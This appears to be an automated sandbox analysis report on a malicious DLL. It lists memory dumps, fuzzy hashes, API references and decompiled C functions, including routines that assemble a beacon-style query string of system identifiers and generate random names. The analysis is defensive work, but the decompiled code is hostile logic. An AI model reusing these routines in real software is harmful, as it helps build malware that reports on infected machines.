                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 51fc759373c73dce47f32fa5c7d154d7a19b676ff5f826be801471c7cdf75a86
                    • Instruction ID: dc26fec0632bff51cccb58147f6a73393d9ad7f1b1050412fe220975fffefd47
                    • Opcode Fuzzy Hash: 51fc759373c73dce47f32fa5c7d154d7a19b676ff5f826be801471c7cdf75a86
                    • Instruction Fuzzy Hash: 8BE08C72D12268EBCB14CB88C944E8AF3ECEB46A44B2545AAB501D3600D270DE00D7C0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8FDBC Relevance: .0, Instructions: 12COMMONLIBRARYCODE
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: c5ce6488beb6dbe4d05132a74f4b52f2f8d656fae3c732b399a6c165c1860447
                    • Instruction ID: 28a80e19ac88b2b1f0e41c01bfb230f19787f631165a2fc21cd22644c1c903bb
                    • Opcode Fuzzy Hash: c5ce6488beb6dbe4d05132a74f4b52f2f8d656fae3c732b399a6c165c1860447
                    • Instruction Fuzzy Hash: 2BC08C38002DD847CE059910C2B03A83368F38279EF94048CCA030BF41C71E9887E712
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C2B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 76%
                    			E027C2B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x27ca018; // 0x14d7c998
				asm("bswap eax");
				_t70 =  *0x27ca014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x27ca010; // 0xd8d2f808
				asm("bswap eax");
				_t72 =  *0x27ca00c; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x27ca348; // 0x10fd5a8
				_t3 = _t73 + 0x27cb5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x27ca02c,  *0x27ca004, _t68);
				_t76 = E027C467F();
				_t77 =  *0x27ca348; // 0x10fd5a8
				_t4 = _t77 + 0x27cb575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x27ca348; // 0x10fd5a8
					_t8 = _t148 + 0x27cb508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x27ca348; // 0x10fd5a8
				_t10 = _t81 + 0x27cb89e; // 0x38c8e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x27cb246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x27ca36c; // 0x38c95b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x27ca348; // 0x10fd5a8
					_t16 = _t144 + 0x27cb8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E027C472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x27ca348; // 0x10fd5a8
					_t19 = _t139 + 0x27cb8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x27ca2d8, 0, _a40);
				}
				_t87 = E027C1340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x27ca348; // 0x10fd5a8
					_t23 = _t135 + 0x27cb8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x27ca2d8, 0, _a40);
				}
				_t166 =  *0x27ca3cc; // 0x38c9600
				_t89 = E027C6B59(0x27ca00a, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x27ca2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x27ca2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x27ca2d8, _t172, _a8);
						goto L30;
					}
					E027C2915(GetTickCount());
					_t96 =  *0x27ca3cc; // 0x38c9600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x27ca3cc; // 0x38c9600
					__imp__(_t100 + 0x40);
					_t102 =  *0x27ca3cc; // 0x38c9600
					_t168 = E027C6675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x27ca2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x27c9280);
					_push(_t168);
					_t108 = E027C7563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x27ca2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E027C6536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E027C63F6();
						L26:
						HeapFree( *0x27ca2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E027C6F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E027C597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E027C61DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E027C673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E027C61DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                    0x027c2b91
                    0x027c2b91
                    0x027c2b95
                    0x027c2b9c
                    0x027c2ba6
                    0x027c2ba8
                    0x027c2ba8
                    0x027c2bb5
                    0x027c2bc0
                    0x027c2bc3
                    0x027c2bce
                    0x027c2bd1
                    0x027c2bd6
                    0x027c2bd9
                    0x027c2bde
                    0x027c2be1
                    0x027c2bed
                    0x027c2bfa
                    0x027c2bfc
                    0x027c2c02
                    0x027c2c07
                    0x027c2c12
                    0x027c2c14
                    0x027c2c17
                    0x027c2c1e
                    0x027c2c20
                    0x027c2c29
                    0x027c2c34
                    0x027c2c36
                    0x027c2c39
                    0x027c2c39
                    0x027c2c3b
                    0x027c2c40
                    0x027c2c40
                    0x027c2c48
                    0x027c2c4c
                    0x027c2c52
                    0x027c2c5d
                    0x027c2c5f
                    0x027c2c64
                    0x027c2c69
                    0x027c2c6c
                    0x027c2c71
                    0x027c2c7c
                    0x027c2c7e
                    0x027c2c81
                    0x027c2c81
                    0x027c2c83
                    0x027c2c8e
                    0x027c2c94
                    0x027c2c97
                    0x027c2c9c
                    0x027c2ca7
                    0x027c2ca9
                    0x027c2cb0
                    0x027c2cba
                    0x027c2cba
                    0x027c2cbc
                    0x027c2cc1
                    0x027c2cc7
                    0x027c2cca
                    0x027c2ccf
                    0x027c2cd9
                    0x027c2cdb
                    0x027c2cea
                    0x027c2cea
                    0x027c2cec
                    0x027c2cfa
                    0x027c2cff
                    0x027c2d01
                    0x027c2d07
                    0x027c2ee7
                    0x027c2eef
                    0x027c2efc
                    0x027c2d0d
                    0x027c2d19
                    0x027c2d1f
                    0x027c2d25
                    0x027c2eda
                    0x027c2ee5
                    0x00000000
                    0x027c2ee5
                    0x027c2d31
                    0x027c2d36
                    0x027c2d3f
                    0x027c2d50
                    0x027c2d54
                    0x027c2d5d
                    0x027c2d63
                    0x027c2d70
                    0x027c2d7d
                    0x027c2d83
                    0x027c2ecd
                    0x027c2ed8
                    0x00000000
                    0x027c2ed8
                    0x027c2d8f
                    0x027c2d95
                    0x027c2d96
                    0x027c2d9b
                    0x027c2da1
                    0x027c2ec3
                    0x027c2ecb
                    0x00000000
                    0x027c2ecb
                    0x027c2dab
                    0x027c2db2
                    0x027c2dbc
                    0x027c2dc2
                    0x027c2dcc
                    0x027c2dde
                    0x027c2de0
                    0x027c2de6
                    0x027c2eff
                    0x027c2eae
                    0x027c2eae
                    0x027c2eb3
                    0x027c2ebf
                    0x027c2ec1
                    0x00000000
                    0x027c2ec1
                    0x027c2df1
                    0x027c2df6
                    0x027c2dfc
                    0x027c2e07
                    0x027c2e12
                    0x027c2e16
                    0x027c2e1c
                    0x027c2e22
                    0x027c2e28
                    0x027c2e2b
                    0x027c2e31
                    0x027c2e34
                    0x027c2e39
                    0x027c2e3d
                    0x027c2e3d
                    0x027c2e4a
                    0x027c2e58
                    0x027c2e5d
                    0x027c2e5f
                    0x027c2e65
                    0x027c2e6b
                    0x027c2e6d
                    0x027c2e72
                    0x027c2e76
                    0x027c2e92
                    0x027c2e92
                    0x027c2e65
                    0x00000000
                    0x027c2e4c
                    0x027c2e51
                    0x027c2e94
                    0x027c2e98
                    0x027c2ea2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c2ea2
                    0x027c2e53
                    0x00000000
                    0x027c2e53
                    0x027c2e4a

                    APIs
                    • GetTickCount.KERNEL32 ref: 027C2BA8
                    • wsprintfA.USER32 ref: 027C2BF5
                    • wsprintfA.USER32 ref: 027C2C12
                    • wsprintfA.USER32 ref: 027C2C34
                    • wsprintfA.USER32 ref: 027C2C5B
                    • wsprintfA.USER32 ref: 027C2C7C
                    • wsprintfA.USER32 ref: 027C2CA7
                    • HeapFree.KERNEL32(00000000,?), ref: 027C2CBA
                    • wsprintfA.USER32 ref: 027C2CD9
                    • HeapFree.KERNEL32(00000000,?), ref: 027C2CEA
                      • Part of subcall function 027C6B59: RtlEnterCriticalSection.NTDLL(038C95C0), ref: 027C6B75
                      • Part of subcall function 027C6B59: RtlLeaveCriticalSection.NTDLL(038C95C0), ref: 027C6B93
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 027C2D19
                    • GetTickCount.KERNEL32 ref: 027C2D2B
                    • RtlEnterCriticalSection.NTDLL(038C95C0), ref: 027C2D3F
                    • RtlLeaveCriticalSection.NTDLL(038C95C0), ref: 027C2D5D
                      • Part of subcall function 027C6675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66A0
                      • Part of subcall function 027C6675: lstrlen.KERNEL32(00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66A8
                      • Part of subcall function 027C6675: strcpy.NTDLL ref: 027C66BF
                      • Part of subcall function 027C6675: lstrcat.KERNEL32(00000000,00000000), ref: 027C66CA
                      • Part of subcall function 027C6675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,027C3ECE,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66E7
                    • StrTrimA.SHLWAPI(00000000,027C9280,?,038C9600), ref: 027C2D8F
                      • Part of subcall function 027C7563: lstrlen.KERNEL32(038C9BD0,00000000,00000000,00000000,027C3EF9,00000000), ref: 027C7573
                      • Part of subcall function 027C7563: lstrlen.KERNEL32(?), ref: 027C757B
                      • Part of subcall function 027C7563: lstrcpy.KERNEL32(00000000,038C9BD0), ref: 027C758F
                      • Part of subcall function 027C7563: lstrcat.KERNEL32(00000000,?), ref: 027C759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 027C2DB2
                    • lstrcpy.KERNEL32(?,?), ref: 027C2DBC
                    • lstrcat.KERNEL32(?,?), ref: 027C2DCC
                    • lstrcat.KERNEL32(?,00000000), ref: 027C2DD3
                      • Part of subcall function 027C6536: lstrlen.KERNEL32(?,00000000,038C9DD8,00000000,027C6F0A,038C9FFB,43175AC3,?,?,?,?,43175AC3,00000005,027CA00C,4D283A53,?), ref: 027C653D
                      • Part of subcall function 027C6536: mbstowcs.NTDLL ref: 027C6566
                      • Part of subcall function 027C6536: memset.NTDLL ref: 027C6578
                    • wcstombs.NTDLL ref: 027C2E76
                      • Part of subcall function 027C597D: SysAllocString.OLEAUT32(?), ref: 027C59B8
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    • HeapFree.KERNEL32(00000000,?), ref: 027C2EBF
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 027C2ECB
                    • HeapFree.KERNEL32(00000000,?,?,038C9600), ref: 027C2ED8
                    • HeapFree.KERNEL32(00000000,?), ref: 027C2EE5
                    • HeapFree.KERNEL32(00000000,?), ref: 027C2EEF
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                    • String ID:
                    • API String ID: 1185349883-0
                    • Opcode ID: b0bb1385655122dde61e7f638c78c3ea6d4a0ff828b5d02bed760d758a83e1c7
                    • Instruction ID: 5a3ef07cc20f2394ab2a3098722f6fdff5b8c0998dc103bbb4b16b91e25cc7b0
                    • Opcode Fuzzy Hash: b0bb1385655122dde61e7f638c78c3ea6d4a0ff828b5d02bed760d758a83e1c7
                    • Instruction Fuzzy Hash: 40A17971900214AFC712AF74DC88E6B7BE8EF88759F25892CF848E3221D731D965CB61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB803E0 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 418COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$ArrayCurrentFindPathProcessSuffix
                    • String ID: HCmMzSChEUTJVQwioAMcFwAnqSjivrokb$uhIy$zGfGaNkGboBuTpaUZBHwjuQCbFRCER
                    • API String ID: 4264030338-339740683
                    • Opcode ID: d65115ba9fa2400e6d018ac5566b94b2273cfb1d1d240b0f5361865729162ee4
                    • Instruction ID: 1a79f7af6e72c2d6f42a9cb5ae5711c8745d6fc8cafe7fc8423be7b082a9f1af
                    • Opcode Fuzzy Hash: d65115ba9fa2400e6d018ac5566b94b2273cfb1d1d240b0f5361865729162ee4
                    • Instruction Fuzzy Hash: 32129B74D052D8CFDF24CFA4D894BEDBBB1AF15308F144199D4196BA80DB746A88CFA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB786CB Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 399COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • RFfyxubnfMZdSHMyErRKchehSEtAStQdEQTa, xrefs: 6CB78D30
                    • jdOAfgqquQafuIWrESfJSLOAIeOqu, xrefs: 6CB78C20
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$AttributesFile
                    • String ID: RFfyxubnfMZdSHMyErRKchehSEtAStQdEQTa$jdOAfgqquQafuIWrESfJSLOAIeOqu
                    • API String ID: 2056359302-2422673416
                    • Opcode ID: e081f99a79d55f18f2bc4764e94c67c0e041991be4313823216980f759515d97
                    • Instruction ID: 78653414efe07890f8dc2f6ed3fc464e4e986ebeafdf0914203ec4872a05440c
                    • Opcode Fuzzy Hash: e081f99a79d55f18f2bc4764e94c67c0e041991be4313823216980f759515d97
                    • Instruction Fuzzy Hash: E7124BB0D142A9CBDB25CF54C894BDDB7B9BB41308F0441DAD4297B680DBB65B88CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8D890 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • IsInExceptionSpec.LIBVCRUNTIME ref: 6CB8D98D
                    • type_info::operator==.LIBVCRUNTIME ref: 6CB8D9AF
                    • ___TypeMatch.LIBVCRUNTIME ref: 6CB8DABE
                    • IsInExceptionSpec.LIBVCRUNTIME ref: 6CB8DB90
                    • _UnwindNestedFrames.LIBCMT ref: 6CB8DC14
                    • CallUnexpected.LIBVCRUNTIME ref: 6CB8DC2F
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                    • String ID: csm$csm$csm
                    • API String ID: 2123188842-393685449
                    • Opcode ID: 54521383e7be520cd248730133922dd539b048f1cdfe01276d515eba588de8ca
                    • Instruction ID: e392d4e68295fc0eb33ee9eb48904b60537c082ea1390a327fadb99c979709bf
                    • Opcode Fuzzy Hash: 54521383e7be520cd248730133922dd539b048f1cdfe01276d515eba588de8ca
                    • Instruction Fuzzy Hash: D2B1767580628AEFCF05CFB5E880A9EBBB5FF05318B14415BE814ABA51D331DA51CF92
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C7238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 43%
                    			E027C7238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x27ca3dc; // 0x38c9c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E027C6ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E027C6ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E027C42E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E027C42E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E027C398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x27c918c;
						}
						_t70 = E027C5FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E027C33DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x27ca348; // 0x10fd5a8
								_t102 =  *0x27ca138; // 0x27c7ddd
								_t28 = _t105 + 0x27cbd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E027C398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x27c9190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E027C33DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E027C61DA(_v24);
								} else {
									_t92 =  *0x27ca348; // 0x10fd5a8
									_t44 = _t92 + 0x27cba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E027C61DA(_v8);
						}
						E027C61DA(_v12);
					}
					E027C61DA(_v16);
				}
				return _v28;
			}



































                    0x027c723e
                    0x027c7246
                    0x027c7249
                    0x027c7256
                    0x027c7259
                    0x027c7260
                    0x027c7267
                    0x027c726a
                    0x027c7277
                    0x027c727a
                    0x027c727d
                    0x027c7282
                    0x027c7287
                    0x027c728f
                    0x027c7294
                    0x027c7299
                    0x027c729f
                    0x027c72a3
                    0x027c72ac
                    0x027c72b0
                    0x027c72b2
                    0x027c72b2
                    0x027c72ba
                    0x027c72bf
                    0x027c72c4
                    0x027c72ca
                    0x027c72d1
                    0x027c72e2
                    0x027c72e9
                    0x027c72fb
                    0x027c7300
                    0x027c7305
                    0x027c730e
                    0x027c7317
                    0x027c7320
                    0x027c7336
                    0x027c733b
                    0x027c733f
                    0x027c7343
                    0x027c7348
                    0x027c734d
                    0x027c734f
                    0x027c734f
                    0x027c7359
                    0x027c7362
                    0x027c7369
                    0x027c7385
                    0x027c7389
                    0x027c73c2
                    0x027c738b
                    0x027c738e
                    0x027c7396
                    0x027c73a7
                    0x027c73af
                    0x027c73b7
                    0x027c73bb
                    0x027c73bb
                    0x027c7389
                    0x027c73ca
                    0x027c73ca
                    0x027c73d2
                    0x027c73d2
                    0x027c73da
                    0x027c73da
                    0x027c73e6

                    APIs
                    • GetTickCount.KERNEL32 ref: 027C7250
                    • lstrlen.KERNEL32(00000000,00000005), ref: 027C72D1
                    • lstrlen.KERNEL32(?), ref: 027C72E2
                    • lstrlen.KERNEL32(00000000), ref: 027C72E9
                    • lstrlenW.KERNEL32(80000002), ref: 027C72F0
                    • lstrlen.KERNEL32(?,00000004), ref: 027C7359
                    • lstrlen.KERNEL32(?), ref: 027C7362
                    • lstrlen.KERNEL32(?), ref: 027C7369
                    • lstrlenW.KERNEL32(?), ref: 027C7370
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrlen$CountFreeHeapTick
                    • String ID:
                    • API String ID: 2535036572-0
                    • Opcode ID: 36124081b9a2948eaf41b6ae7840839dcd85f2d02a754b7a224126e97ba459d2
                    • Instruction ID: 7340ed21aa67bfe743adf7074953f088829e4c36e1833c9e87716b6f77322904
                    • Opcode Fuzzy Hash: 36124081b9a2948eaf41b6ae7840839dcd85f2d02a754b7a224126e97ba459d2
